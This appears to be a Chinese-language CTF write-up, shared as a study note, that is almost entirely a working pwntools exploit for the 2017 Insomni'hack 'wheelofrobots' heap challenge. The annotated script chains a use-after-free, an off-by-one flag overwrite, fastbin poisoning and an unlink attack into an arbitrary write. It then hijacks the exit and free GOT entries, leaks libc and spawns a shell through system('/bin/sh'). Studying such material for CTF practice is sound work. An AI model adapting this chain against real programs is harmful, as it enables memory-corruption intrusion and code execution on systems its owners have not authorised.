2017 insomni'hack wheelofrobots 的 exp

加深記憶與理解

ctf-wiki

#coding:utf-8
from pwn import *
context(arch='amd64',os='linux')
context.log_level = 'debug'
io = process('./wheelofrobots')
elf = ELF('./wheelofrobots')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#例行公事

def add(idx,size=0):
	io.recvuntil('choice : ')
	io.sendline('1')
	io.recvuntil('choice :')
	io.sendline(str(idx))
	if idx == 2:
		io.recvuntil("Increase Bender's intelligence: ")
		io.sendline(str(size))
	elif idx == 3:
		io.recvuntil("Increase Robot Devil's cruelty: ")
		io.sendline(str(size))
	elif idx == 6:
		io.recvuntil("Increase Destructor's powerful: ")
		io.sendline(str(size))
		
def delete(idx):
	io.recvuntil('choice : ')
	io.sendline('2')
	io.recvuntil('choice :')
	io.sendline(str(idx))
	
def change(idx,name):
	io.recvuntil('choice : ')
	io.sendline('3')
	io.recvuntil('choice :')
	io.send(str(idx))
	io.recvuntil('name: \n')
	io.send(name)

def start():
	io.recvuntil('choice : ')
	io.sendline('4')

def off_by_one(inuse):
	io.recvuntil('choice : ')
	io.sendline('1')
	io.recvuntil('choice :')
	io.send('9999'+inuse)
	
def write(where,what):
	change(1,p64(where))
	change(6,p64(what))
#此處是執行的任意地址寫的漏洞,具體原因在下面

add(2,1)
#首先添加一個size爲0x20的塊

delete(2)
#然後將其free,因爲塊的大小屬於fastbin,因此該塊的地址會放入fastbin的size爲0x20的鏈表的頭節點
#且此處free之後,它沒有將指針清空,這就構成了UAF漏洞

off_by_one('\x01')
#哪裏產生了off_by_one漏洞呢?其實跟着這個函數看一下就立馬發現了
#該漏洞所溢出的一個字節會將表示bot2是否存在的那個變量的值給覆蓋

change(2,p64(0x603138))
#將bot2的塊的fd改爲0x603138
#0x603138指的是我們輸入的bot2的size

off_by_one('\x00')
#將bot2存在位再覆蓋回0

add(2,1)
#此處由於size依舊是20即0x14,即要分配的塊的大小依舊是0x20
#所以calloc的塊依舊是剛剛free掉的塊,且fd指針被取出,放入fastbin的size爲0x20的鏈表的頭結點

add(3,0x20)
#因爲bot3的size位於0x603140,將這裏覆蓋成0x20,可以構造0x603138這一塊的size位0x20
#當然,現在這一塊還未分配
#之所以要提前構建,是因爲fastbin分配的時候的如下代碼:
#			if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)) {
#               errstr = "malloc(): memory corruption (fast)";
#           errout:
#               malloc_printerr(check_action, errstr, chunk2mem(victim), av);
#               return NULL;
#           }
#它會檢查即將分配的這一塊的大小究竟是不是它所屬鏈表的大小
#當然,這裏add一個bot3的塊對fastbin的分配無影響,因爲這裏讀入的size它會先乘0x14再分配
#這size就遠超fastbin的最大size了

add(1)
#這裏終於將bot1分到的塊指向了0x603148
#爲什麼是0x603148呢,是因爲0x6038開始是塊的header

delete(2)
delete(3)
#因爲塊的數量有限,程序限制只能添加三個,所以將這兩個無關的塊free

add(6,3)
#這裏構造了一個bot6,bot6的size是60,它分配到的塊的size就是0x40+0x10=0x50
#爲什麼要這麼大呢,可以小點嗎?應該是可以的,只要它能放下我們的payload

add(3,7)
#這裏構造了一個size爲0xa0的塊,比fastbin大
#爲什麼要比fastbin大呢
#因爲我們要向低地址合併空閒塊觸發unlink
#只有不是fastbin的情況下才會觸發unlink

change(1,p64(0x1000))
#因爲bot1的塊指向的是0x603148,而0x603148指向的是bot6的size
#這裏我們編輯bot1的塊,就可以改變程序中存儲的bot6的size
#就可以通過堆溢出漏洞實現unlink

payload = p64(0)+p64(0x20)+p64(0x6030E8-0x18)+p64(0x6030E8-0x10)+p64(0x20)
payload = payload.ljust(0x40,'a')
payload += p64(0x40)+p64(0xa0)
change(6,payload)
delete(3)
#這裏就觸發了unlink漏洞
#0x6030e8指向的是bot6的塊,首先會躲過unlink的檢測
#if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
#    malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
#然後,bot6的的內容就會指向它前面偏移爲0x18的位置

payload = 'a'*0x28+p64(0x6030E8)
change(6,payload)
#這裏編輯第六塊,目的是爲了讓bot6指向的地址偏移0x28處的內容變爲0x6030e8
#這裏其實就是0x6030f8,即bot1的塊的地址的存儲位置
#這樣的話,bot1就指向了bot6的塊
#此時,就可以通過修改bot1來控制bot6的地址
#然後再修改bot6的內容就可以達到任意地址寫的目的

#gdb.attach(io,'b *0x4015A3')
#raw_input()
write(0x603130,3)
#write函數就是任意地址寫

free_got = elf.got['free']
exit_got = elf.got['exit']

#gdb.attach(io,'b *0x401725')
#raw_input()
write(exit_got,0x401855)
#這裏要將exit的got給覆蓋
#因爲我們輸出塊的內容的唯一方式就是Start the Wheel Of Robots
#而執行完這個函數會直接exit,所以我們要讓exit變成重新開始
#這裏覆蓋的地址要注意,不能是main函數的開始
#因爲重複setbuf會導致程序崩潰
#剩下的就是例行公事了

change(1,p64(free_got))
start()
io.recvuntil('Thx ')
free_addr = u64(io.recv(6).ljust(8,'\x00'))
log.success(hex(free_addr))
libc_base = free_addr - libc.symbols['free']

sys_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search('/bin/sh'))

write(free_got,sys_addr)
change(1,p64(bin_sh))
delete(6)
io.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章